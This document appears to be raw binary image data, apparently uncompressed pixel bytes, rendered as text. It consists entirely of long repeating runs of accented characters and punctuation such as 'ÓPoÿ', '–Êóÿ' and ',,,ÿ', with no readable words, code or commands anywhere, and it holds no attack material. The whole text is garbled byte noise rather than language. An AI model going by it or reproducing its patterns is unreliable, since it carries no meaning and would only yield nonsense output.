ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ)))ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿx-?ÿÒPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÉäùÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿèèèÿ;;;ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ;ÿ¿HeÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ—Êóÿäñüÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ»»»ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ)))ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ”8NÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ¢Ðôÿ÷ûþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ~~~ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿT ,ÿËMkÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ¸Û÷ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿöööÿMMMÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ# ÿªAZÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÖêúÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÖÖÖÿ111ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ%%%ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿq+;ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÔéúÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿžžžÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ7ÿ½HcÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ´Ùöÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿþþþÿiiiÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ(((ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ‰4HÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ¡Ðôÿ÷ûþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿíííÿ???ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿN)ÿÉLjÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ—ÊóÿãñüÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÃÃÃÿ---ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ¢=UÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÈãùÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ………ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ